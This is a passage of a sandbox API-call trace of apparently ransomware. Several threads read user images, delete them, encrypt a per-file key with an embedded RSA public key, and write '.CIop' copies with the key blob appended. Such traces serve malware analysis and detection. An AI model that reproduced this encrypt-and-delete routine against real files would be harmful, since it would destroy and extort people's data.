MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.685] lstrcpyW (in: lpString1=0x347f368, lpString2="N6 e0qhUxBM.bmp" | out: lpString1="N6 e0qhUxBM.bmp") returned="N6 e0qhUxBM.bmp" [0100.685] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.685] SetErrorMode (uMode=0x1) returned 0x1 [0100.685] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\N6 e0qhUxBM.bmp") returned 118 [0100.685] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\N6 e0qhUxBM.bmp", dwFileAttributes=0x20) returned 1 [0100.687] StrStrW (lpFirst="N6 e0qhUxBM.bmp", lpSrch=".CIop") returned 0x0 [0100.687] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\N6 e0qhUxBM.bmp.CIop") returned 123 [0100.687] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\N6 e0qhUxBM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\n6 e0qhuxbm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0100.688] ReadFile (in: hFile=0x5c0, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x736c, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x347e5e8*=0x736c, lpOverlapped=0x0) returned 1 [0100.689] CloseHandle (hObject=0x5c0) returned 1 [0100.689] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\N6 e0qhUxBM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\n6 e0qhuxbm.bmp")) returned 1 [0100.690] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0100.690] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0100.690] SetErrorMode (uMode=0x1) returned 0x1 [0100.690] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f03c70) returned 1 [0100.700] CryptGenKey (in: hProv=0x2f03c70, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x6486f8) returned 1 [0100.857] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0100.858] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3030000, pdwDataLen=0x347e5ec | out: pbData=0x3030000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0100.858] CryptDestroyKey (hKey=0x6486f8) returned 1 [0100.858] CryptReleaseContext (hProv=0x2f03c70, dwFlags=0x0) returned 1 [0100.858] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\N6 e0qhUxBM.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\n6 e0qhuxbm.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d8 [0100.858] WriteFile (in: hFile=0x5d8, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x736c, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x347e5d8*=0x736c, lpOverlapped=0x0) returned 1 [0100.859] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x736c [0100.859] WriteFile (in: hFile=0x5d8, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.859] SetFilePointer (in: hFile=0x5d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7373 [0100.859] SetErrorMode (uMode=0x1) returned 0x1 [0100.860] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.860] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.860] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0100.860] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f03c70) returned 1 [0100.862] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03c70, dwCertEncodingType=0x1, pInfo=0x64a0d0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x648c38) returned 1 [0100.862] CryptEncrypt (in: hKey=0x648c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0100.862] CryptEncrypt (in: hKey=0x648c38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03368*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03368*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0100.863] WriteFile (in: hFile=0x5d8, lpBuffer=0x2f03368*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03368*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.863] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.863] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.863] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.863] CloseHandle (hObject=0x5d8) returned 1 [0100.864] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\N6 e0qhUxBM.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\n6 e0qhuxbm.bmp")) returned 0 Thread: id = 168 os_tid = 0xd18 [0100.830] lstrcpyA (in: lpString1=0x32ee5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.830] lstrcpyW (in: lpString1=0x32ef368, lpString2="rvq7ekaaX.gif" | out: lpString1="rvq7ekaaX.gif") returned="rvq7ekaaX.gif" [0100.830] lstrcpyW (in: lpString1=0x32ef768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.830] SetErrorMode (uMode=0x1) returned 0x1 [0100.830] wsprintfW (in: param_1=0x32eeb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rvq7ekaaX.gif") returned 43 [0100.830] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rvq7ekaaX.gif", dwFileAttributes=0x20) returned 1 [0100.831] StrStrW (lpFirst="rvq7ekaaX.gif", lpSrch=".CIop") returned 0x0 [0100.831] wsprintfW (in: param_1=0x32ee758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rvq7ekaaX.gif.CIop") returned 48 [0100.831] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rvq7ekaaX.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rvq7ekaax.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d4 [0100.832] ReadFile (in: hFile=0x5d4, lpBuffer=0x68d048, nNumberOfBytesToRead=0x3fc1, lpNumberOfBytesRead=0x32ee5e8, lpOverlapped=0x0 | out: lpBuffer=0x68d048*, lpNumberOfBytesRead=0x32ee5e8*=0x3fc1, lpOverlapped=0x0) returned 1 [0100.832] CloseHandle (hObject=0x5d4) returned 1 [0100.832] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rvq7ekaaX.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rvq7ekaax.gif")) returned 1 [0100.919] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0100.920] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0100.920] SetErrorMode (uMode=0x1) returned 0x1 [0100.920] CryptAcquireContextW (in: phProv=0x32ee5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x32ee5b8*=0x2f04a40) returned 1 [0100.936] CryptGenKey (in: hProv=0x2f04a40, Algid=0x1, dwFlags=0x4000, phKey=0x32ee5bc | out: phKey=0x32ee5bc*=0x6486f8) returned 1 [0100.955] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x32ee5ec | out: pbData=0x0*, pdwDataLen=0x32ee5ec*=0x94) returned 1 [0100.956] CryptExportKey (in: hKey=0x6486f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x3030000, pdwDataLen=0x32ee5ec | out: pbData=0x3030000*, pdwDataLen=0x32ee5ec*=0x94) returned 1 [0100.956] CryptDestroyKey (hKey=0x6486f8) returned 1 [0100.956] CryptReleaseContext (hProv=0x2f04a40, dwFlags=0x0) returned 1 [0100.956] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rvq7ekaaX.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rvq7ekaax.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc [0100.957] WriteFile (in: hFile=0x5cc, lpBuffer=0x68d048*, nNumberOfBytesToWrite=0x3fc1, lpNumberOfBytesWritten=0x32ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x68d048*, lpNumberOfBytesWritten=0x32ee5d8*=0x3fc1, lpOverlapped=0x0) returned 1 [0100.957] SetFilePointer (in: hFile=0x5cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3fc1 [0100.958] WriteFile (in: hFile=0x5cc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x32ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x32ee5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.958] SetFilePointer (in: hFile=0x5cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3fc8 [0100.958] SetErrorMode (uMode=0x1) returned 0x1 [0100.958] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.958] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x32ed5b8, pcbBinary=0x32ed5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x32ed5b8, pcbBinary=0x32ed5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.958] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x32ed5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x32ed5a0, pcbStructInfo=0x32ed598 | out: pvStructInfo=0x32ed5a0, pcbStructInfo=0x32ed598) returned 1 [0100.958] CryptAcquireContextW (in: phProv=0x32ed5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x32ed5a8*=0x2f04798) returned 1 [0100.961] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f04798, dwCertEncodingType=0x1, pInfo=0x64ad00, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x32ed5b0 | out: phKey=0x32ed5b0*=0x648778) returned 1 [0100.961] CryptEncrypt (in: hKey=0x648778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x32ed5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x32ed5b4*=0x80) returned 1 [0100.961] CryptEncrypt (in: hKey=0x648778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f04a40*, pdwDataLen=0x32ed5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f04a40*, pdwDataLen=0x32ed5a4*=0x80) returned 1 [0100.961] WriteFile (in: hFile=0x5cc, lpBuffer=0x2f04a40*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x32ee5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04a40*, lpNumberOfBytesWritten=0x32ee5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.961] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.961] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.961] VirtualFree (lpAddress=0x3030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.962] CloseHandle (hObject=0x5cc) returned 1 [0100.962] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\rvq7ekaaX.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rvq7ekaax.gif")) returned 0 Thread: id = 169 os_tid = 0xd10 [0100.865] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.865] lstrcpyW (in: lpString1=0x357f368, lpString2="0eBemC7.bmp" | out: lpString1="0eBemC7.bmp") returned="0eBemC7.bmp" [0100.865] lstrcpyW (in: lpString1=0x357f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\" [0100.865] SetErrorMode (uMode=0x1) returned 0x1 [0100.865] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\0eBemC7.bmp") returned 127 [0100.865] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\0eBemC7.bmp", dwFileAttributes=0x20) returned 1 [0100.866] StrStrW (lpFirst="0eBemC7.bmp", lpSrch=".CIop") returned 0x0 [0100.866] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\0eBemC7.bmp.CIop") returned 132 [0100.866] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\0eBemC7.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\0ebemc7.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5cc [0100.867] ReadFile (in: hFile=0x5cc, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0x1475c, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x357e5e8*=0x1475c, lpOverlapped=0x0) returned 1 [0100.867] CloseHandle (hObject=0x5cc) returned 1 [0100.867] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\0eBemC7.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\0ebemc7.bmp")) returned 1 [0100.875] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0100.875] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0100.875] SetErrorMode (uMode=0x1) returned 0x1 [0100.875] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x2f032e0) returned 1 [0100.885] CryptGenKey (in: hProv=0x2f032e0, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x648cb8) returned 1 [0100.988] CryptExportKey (in: hKey=0x648cb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0100.989] CryptExportKey (in: hKey=0x648cb8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x357e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0100.989] CryptDestroyKey (hKey=0x648cb8) returned 1 [0100.989] CryptReleaseContext (hProv=0x2f032e0, dwFlags=0x0) returned 1 [0100.989] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\7Luf9iKqys 6\\0eBemC7.bmp.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\7luf9ikqys 6\\0ebemc7.bmp.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0100.989] WriteFile (in: hFile=0x5dc, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0x1475c, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x357e5d8*=0x1475c, lpOverlapped=0x0) returned 1 [0100.991] SetFilePointer (in: hFile=0x5dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1475c [0100.991] WriteFile (in: hFile=0x5dc, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x357e5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.991] SetFilePointer (in: hFile=0x5dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 